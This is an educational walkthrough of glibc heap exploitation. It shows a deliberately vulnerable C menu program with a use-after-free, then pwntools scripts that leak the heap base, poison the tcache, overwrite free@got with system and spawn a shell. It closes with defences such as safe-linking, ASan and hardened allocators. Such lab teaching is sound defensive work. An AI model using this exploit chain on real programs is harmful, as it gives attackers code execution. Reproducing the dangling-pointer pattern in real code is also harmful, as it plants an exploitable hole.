Skip to content

Heap Exploitation: tcache and Use-After-Free

The heap's own metadata is the write primitive. Build a use-after-free, poison the glibc tcache to allocate a chunk over a chosen address, and see why safe-linking and ASan raise the bar.

Published on 5 min read

This is the sixth walkthrough in the Exploitation Techniques area, and the first on the heap. The stack techniques so far overwrote a return address or a GOT entry. Heap exploitation is different in feel: the write primitive comes from corrupting the allocator's own metadata, so the bug classes (use-after-free, double free, heap overflow) are inseparable from how the allocator works.

The conceptual background is in heap corruption and use-after-free. Here we exploit one in the lab. As always: your own binary, disposable VM. See the lab rules.

Heap exploitation is glibc-version-specific. This walkthrough targets glibc with tcache (2.26+) and calls out where 2.32 safe-linking changes things. Check yours with ldd --version and adjust; the concepts transfer, the exact bytes do not.

How the tcache serves allocations

Since glibc 2.26, small free()d chunks go onto the tcache: a per-thread array of singly linked lists, one per size class. The list is threaded through the freed chunks themselves — a freed chunk stores the pointer to the next free chunk (fd) in its own body, right where user data used to be.

The tcache free list threads through the freed chunks themselves
tcache[size]list head
fd
chunk Afd in A's body points to B
fd
chunk Bfd points onward
fd
NULLend of list
writable memoryterminator

malloc(size) returns chunk A and sets the list head to A->fd (= B).

The consequence: whoever controls a freed chunk's fd controls where the next-but-one malloc lands. That is the whole game.

The target

A small menu allocator with a classic use-after-free: free() does not clear the pointer, and the program lets you write into a freed chunk.

/* vuln.c — a menu heap demo with a use-after-free. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *slots[8];

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    for (;;) {
        int op, i; 
        if (scanf("%d %d", &op, &i) != 2 || i < 0 || i >= 8) return 0;
        if (op == 1) slots[i] = malloc(0x30);                 /* alloc */
        else if (op == 2) free(slots[i]);                     /* free — no clear (UAF) */
        else if (op == 3) read(0, slots[i], 0x30);            /* write, even if freed */
        else if (op == 4) { fwrite(slots[i], 1, 0x30, stdout); } /* read back */
    }
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

The bug is that op == 3 and op == 4 still dereference slots[i] after it has been freed — a textbook use-after-free.

Step 1 — leak a heap address (safe-linking)

On glibc 2.32+, the stored fd is not a raw pointer but pointer XOR (chunk_address >> 12) — safe-linking. To forge a valid fd we need to know the heap base. A UAF read of a freed chunk's fd leaks it:

from pwn import *
context.binary = ELF("./vuln")
io = process("./vuln")

def alloc(i): io.sendline(b"1 %d" % i)
def free(i):  io.sendline(b"2 %d" % i)
def write(i, data): io.sendline(b"3 %d" % i); io.send(data)
def read_back(i): io.sendline(b"4 %d" % i); return io.recv(0x30)

alloc(0); free(0)
raw = u64(read_back(0)[:8])          # the (safe-linked) fd of the only freed chunk
# For the first free of a size class fd is 0, so the leak = 0 XOR (heap>>12) = heap>>12
heap_base = raw << 12
log.success("heap base: %#x", heap_base)

On glibc before 2.32 there is no safe-linking: the fd is a raw pointer and this step is unnecessary. Skip straight to poisoning with plain addresses.

Step 2 — poison the tcache

Free two chunks so the list has depth, then use the UAF write to overwrite a freed chunk's fd with our target (safe-linked if needed). Two allocations later, malloc hands us a chunk at the target address.

def protect(ptr, addr):              # glibc 2.32+ safe-linking transform
    return ptr ^ (addr >> 12)

target = context.binary.got["free"] # where we want malloc to place a chunk

alloc(1); alloc(2)
free(2); free(1)                     # tcache: 1 -> 2
# overwrite chunk 1's fd to point the list at `target`
write(1, p64(protect(target, heap_base_of_chunk1)))

alloc(3)                             # returns chunk 1
alloc(4)                             # returns a chunk AT `target`
write(4, p64(context.binary.plt["system"]))   # write over free@got

Now free(x) calls system(x). Send /bin/sh as the contents of a chunk and free it:

alloc(5); write(5, b"/bin/sh\x00")
free(5)                              # free@got now points at system → system("/bin/sh")
io.interactive()

The exact target and final trigger vary by glibc: pre-2.34 you might overwrite __free_hook directly; later versions favor a GOT entry, _IO_2_1_stdout_ (FSOP), or an exit handler. The primitive — control an fd, get an allocation at a chosen address — is what generalizes.

Turn the mitigations back on

Heap defences are less about one compiler flag and more about the allocator and tooling.

Safe-linking and the double-free key (already in modern glibc)

  • tcache key (glibc 2.29+): each freed chunk stores a key; freeing it again is detected — free(): double free detected in tcache 2 — killing naive double-free poisoning.
  • Safe-linking (glibc 2.32+): the fd is XORed with chunk_addr >> 12, so forging one requires a heap leak (Step 1). Alignment of the decoded pointer is also checked. These do not remove the bug, but they demand more from the attacker.

AddressSanitizer finds it before release

gcc -fsanitize=address -g -o vuln_asan vuln.c

Running the same interaction under ASan reports the use-after-free precisely, at the moment of the dangling access:

==...==ERROR: AddressSanitizer: heap-use-after-free on address 0x...
  READ of size ... freed by thread T0 here: ... in free
  previously allocated here: ... in malloc

This is where a heap UAF should die — in CI, not in production. Pair ASan with coverage-guided fuzzing to reach the paths that trigger it.

Hardened allocators

Allocators such as hardened_malloc and Scudo (Android/LLVM) add guard pages, randomized placement, and stronger metadata integrity checks, making tcache-style poisoning far harder than on stock glibc.

DefenceWhat it does to this exploit
tcache double-free key (2.29+)Blocks naive double-free into the same list
Safe-linking (2.32+)Forging fd now needs a heap leak
AddressSanitizerCatches the UAF at the dangling access, in testing
Hardened allocator (hardened_malloc/Scudo)Guard pages + integrity checks defeat metadata poisoning
Memory-safe languageRemoves the bug class entirely — see memory-safe languages

What this teaches a defender

  • The metadata is the attack surface. You cannot reason about a heap bug's severity without knowing the allocator. The same UAF is a crash on a hardened allocator and a shell on stock glibc.
  • Version matters enormously. "We're on a recent glibc" genuinely raises the bar (safe-linking, the tcache key, removed hooks). Keeping the platform current is a real mitigation here, not just hygiene.
  • ASan + fuzzing is the answer, not a flag on the shipping binary. ASan is a detection tool for CI; you do not ship it. The shipping defence is fixing the lifetime bug and, where you can, a hardened allocator and a memory-safe language.

Key takeaways

  • The tcache threads its free list through freed chunks; controlling a freed chunk's fd controls where the next-but-one malloc lands.
  • A use-after-free write forges that fd, giving an allocation at a chosen address — a write primitive aimed at the GOT, a hook, or a file structure.
  • glibc's tcache key and safe-linking make double-free and pointer forging harder, and force a heap leak on 2.32+.
  • The durable defences are AddressSanitizer in CI, hardened allocators, and memory-safe languages — flags alone do not fix lifetime bugs.

This completes the current arc of the Exploitation Techniques series: ret2win → ROP → ret2libc → format strings → GOT overwrite → the heap. Each technique ended at the mitigation that stops it — which, read together, is a defender's checklist.

Related guides

0x1000 · Vulnerability Classes

Heap Overflows, Use-After-Free and Double Free

How heap memory bugs corrupt allocator metadata and object state, why use-after-free is so dangerous, and the allocator hardening, sanitizers and ownership rules that stop them.

0x7000 · Exploitation Techniques

File-Structure Attacks: Hijacking a FILE Object

When hooks are gone, the FILE object is the target. A stdio call dispatches through a vtable pointer in writable memory — corrupt it and the next fwrite runs your code.

0x8000 · ARM64 Exploitation

ARM64 Exploitation: the Link Register and ret2win

On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.